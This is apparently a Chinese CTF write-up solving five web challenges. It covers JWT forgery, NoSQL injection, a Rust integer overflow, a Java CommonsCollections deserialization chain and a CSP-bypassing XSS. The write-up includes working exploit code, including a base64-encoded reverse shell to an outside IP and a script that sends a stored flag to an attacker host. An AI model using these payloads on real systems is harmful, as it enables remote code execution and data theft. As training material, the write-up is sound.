web hello_jwt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 import flaskfrom flask import *import osimport jwtfrom key import KEY, FLAGusers = {} app = flask.Flask(__name__) @app.route("/" ) def index (): file_path = os.path.abspath(__file__) with open (file_path, "r" , encoding="utf-8" ) as file: code = file.read() return render_template("index.html" , code=code) @app.route("/register" , methods=["GET" , "POST" ] ) def register (): if request.method == "POST" : username = request.form.get("username" ) password = request.form.get("password" ) role = "guest" if username in users: return "User already exists" users[username] = {"password" : password, "role" : role} return redirect(url_for("login" ), code=302 ) return render_template("register.html" ) @app.route("/login" , methods=["GET" , "POST" ] ) def login (): if request.method == "POST" : username = request.form.get("username" ) password = request.form.get("password" ) if username not in users: return "User does not exist" if users[username]["password" ] != password: return "Invalid password" payload = {"username" : username, "role" : users[username]["role" ]} try : token = jwt.encode(payload, KEY, algorithm="HS256" ) response = make_response(redirect(url_for("flag" ), code=302 )) response.set_cookie("token" , token) return response except Exception as e: return str (e) return render_template("login.html" ) @app.route("/flag" , methods=["GET" ] ) def flag (): token = request.cookies.get("token" ) if not token: return redirect(url_for("login" ), code=302 ) try : payload = jwt.decode(token, KEY, algorithms=["HS256" ]) except jwt.ExpiredSignatureError: return "Token expired" except jwt.InvalidTokenError: return "Invalid token" if payload["role" ] != "admin" : return "Only admin can view the flag" return FLAG @app.route("/hint1" , methods=["GET" ] ) def hint1 (): token = request.cookies.get("token" ) if not token: return redirect(url_for("login" ), code=302 ) try : payload = jwt.decode( token, KEY, algorithms=["HS256" ], options={"verify_signature" : False } ) except jwt.ExpiredSignatureError: return "Token expired" except jwt.InvalidTokenError: return "Invalid token" if payload["role" ] != "Please, give me the hint" : return "Beg me for the hint" return render_template("hint1.html" ) @app.route("/hint2" , methods=["GET" ] ) def hint2 (): tmp_key = ( "Very very long and include many !@#$)*$&@) so you can't crack's secret key" ) token = request.cookies.get("token" ) if not token: return redirect(url_for("login" ), code=302 ) try : payload = jwt.decode(token, tmp_key, algorithms=["HS256" ]) except jwt.ExpiredSignatureError: return "Token expired" except jwt.InvalidTokenError: return "Invalid token" if payload["role" ] != "But, I can see the temporary key" : return "Beg me for the hint" return render_template("hint2.html" ) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=3000 )
先看/hint2
,拿到tmp_key
后用jwt.io 来计算jwt
再看/hint1
,注意
1 2 3 payload = jwt.decode( token, KEY, algorithms=["HS256" ], options={"verify_signature" : False } )
也就是说解密jwt不受KEY影响,无需密钥直接生成jwt就好
那么尝试爆破,先生成字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import itertoolsimport stringimport jwtdef generate_strings (): alphabet = string.ascii_lowercase for length in range (4 , 7 ): for combination in itertools.product(alphabet, repeat=length): yield '' .join(combination) if __name__ == '__main__' : file = open ("secret.txt" , 'w' ) print ('[+]generating KEY...' ) for s in generate_strings(): file.write(s) file.write('\n' ) if s == 'zzzzzz' : break file.close()
然后用工具wkend/CrackJWTKey: JWT秘钥爆破脚本 (github.com) ,得到密钥zrajz。用jwt.io伪造后发包
next.db 关键部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 const { MongoClient } = require ('mongodb' );const uri = process.env .MONGODB_URI || "mongodb://127.0.0.1:27017/" ;const client = new MongoClient (uri);async function init ( ) { const db = client.db ('next-db' ); const collection = db.collection ('frameworks' ); await collection.insertMany ([ { id : 0 , name : "flag" , description : process.env .FLAG || "flag{test}" , }, { id : 1 , name : "Next.js" , description : "The React Framework for the Web" , }, { id : 2 , name : "Nuxt.js" , description : "The Intuitive Vue Framework" , }, { id : 3 , name : "React" , description : "The library for web and native user interfaces" }, { id : 4 , name : "Vue.js" , description : "The Progressive JavaScript Framework" } ]); await client.close (); } init ();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import { MongoClient } from 'mongodb' ;const uri = process.env .MONGODB_URI || "mongodb://127.0.0.1:27017/" ;const client = new MongoClient (uri);export default async function handler (req, res ) { if (req.method !== 'POST' ) { return res.status (405 ).json ({ message : 'Method not allowed' }); } const { name } = req.body ; if (!name) { return res.status (500 ).json ({ message : 'Name is required' }); } if (name === "flag" ) { return res.status (500 ).json ({ message : 'You are not allowed to search for the flag' }); } try { const db = client.db ('next-db' ); const collection = db.collection ('frameworks' ); const results = await collection.find ({ $or : [ { name }, { $and : [ { description : { $regex : name.toString (), $options : 'i' } }, { description : { $ne : process.env .FLAG || "flag{test}" } } ] } ] }).toArray (); res.status (200 ).json (results); } catch (error) { console .error ('Database query error:' , error); res.status (500 ).json ({ message : 'Internal Server Error' }); } }
mongodb数据库,不能直接查询flag,构造{"$ne":1}
查询所有name不为1的用户
cargo_shop 注意到User的balance的变量类型是i32,而Goods
的price
和Hold
的inventory
变量类型是u32。i32的取值范围为**-2147483648 到2147483647,u32的取值范围为 0到4294967295**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #[derive(Debug, Clone, Serialize, Deserialize)] struct Goods { name: String , price: u32 , } #[derive(Debug, Clone, Serialize, Deserialize)] struct Hold { goods: Goods, inventory: u32 , } #[derive(Debug, Serialize, Deserialize)] struct User { holds: Vec <Hold>, balance: i32 , }
再来看purchase路由,在处理购买物品的时候先计算costs,而costs是i32类型的,先让其发生溢出,变成负数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #[get("/purchase/{name}/{count}" )] async fn purchase (info: web::Path<(String , u32 )>, session: Session) -> Result <String > { let Some (mut user) = session.get::<User>("user" )? else { return Ok ("user not found" .to_string ()); }; let (name, count) = info.into_inner (); let Some (goods) = GOODS_LIST.iter ().find (|v| v.name == name) else { return Ok ("goods not found" .to_string ()); }; let costs = (goods.price * count) as i32 ; if costs <= user.balance { user.balance -= costs; if let Some (hold) = user.holds.iter_mut ().find (|v| v.goods.name == goods.name) { hold.inventory += count; } else { user.holds.push (Hold { goods: goods.clone (), inventory: count, }); } session.insert ("user" , user)?; Ok (format! ("purchase {} x {} success" , name, count)) } else { Ok (format! ("you don't have enough balance" )) } }
在处理购买物品的时候先计算costs再比较costs和balance,而costs是i32类型的,先让其发生溢出,使得costs变成一个负数
然后再卖掉,这里注意不要让balance也溢出了
钱够了之后就可以买flag了
WhySoSerial 反编译jar后先看pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <properties > <java.version > 8</java.version > </properties > <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
commons-collections版本为3.2.1,打CC6,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class GadgetChain { public static void main (String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTMyLjg3LjE4My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"key1" ); HashMap<Object,Object> expMap=new HashMap <>(); expMap.put(tiedMapEntry,"key2" ); hashMap.remove("key1" ); Class<LazyMap> lazyMapClass=LazyMap.class; Field factoryField=lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); String data = serializeToBase64(expMap); System.out.println(data); } public static String serializeToBase64 (Object o) throws IOException { ByteArrayOutputStream data=new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (data); oos.writeObject(o); oos.flush(); oos.close(); return Base64.getEncoder().encodeToString(data.toByteArray()); }
反弹shell后发现读flag权限不够,执行find / -perm -u=s -type f 2>/dev/null
发现有/readflag
paste_bin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 use std::{env, time::Duration};use fantoccini::ClientBuilder;pub async fn visit_paste (id: &str ) -> Result <(), Box <dyn std::error::Error>> { let flag : String = env::var ("FLAG" ).unwrap_or ("flag{test}" .to_string ()); let js = format! ("localStorage.setItem('flag', '{}');" , flag); let mut caps = serde_json::map::Map::new (); let opts = serde_json::json!({ "args" : [ "--headless" , "--no-sandbox" , "--disable-gpu" , "--disable-dev-shm-usage" , "--remote-debugging-port=9222" ], }); caps.insert ("goog:chromeOptions" .to_string (), opts); let c = ClientBuilder::native () .capabilities (caps) .connect ("http://bot:4444" ) .await ?; println! ("visiting home page" ); c.goto ("http://web:8000/" ).await ?; c.execute (&js, vec! []).await ?; println! ("visiting paste: {}" , id); let view_url = "http://web:8000/view?id=" .to_string () + id; c.goto (&view_url).await ?; println! ("bot will sleep for 10s" ); tokio::time::sleep (Duration::from_secs (10 )).await ; println! ("visited paste: {} success" , id); c.close ().await ?; Ok (()) }
先看bot.rs,bot在访问paste的过程中,会模拟一个浏览器来访问paste,然后把flag存在这个模拟的浏览器中的localstorage
注意到report.html中的CSP
1 2 <meta http-equiv ="Content-Security-Policy" content ="base-uri 'none'; style-src 'unsafe-inline'; script-src 'self' 'sha256-mDsn/yxO0Kbxaggx7bFdeBmrC22U6cePGEUeeSwO+n0=' cdn.tailwindcss.com unpkg.com cdn.jsdelivr.net;" >
也就是说只能从cdn.tailwindcss.com, unpkg.com, cdn.jsdelivr.net
中加载脚本
这里我用的是cdn.jsdelivr.net
,在CDN上部署js代码的步骤参考jsDelivr的正确打开方式 | GamerNoTitle (bili33.top)
1 2 3 var a = localStorage .getItem ("flag" );window .open ('http://ip:port/' +a);
最后我们需要通过iframe标签来引入外部脚本,note如下
1 <iframe srcdoc ="<script src='https://cdn.jsdelivr.net/gh/Lyng3n/eviljs@1.0/evil.js'></script>" > </iframe >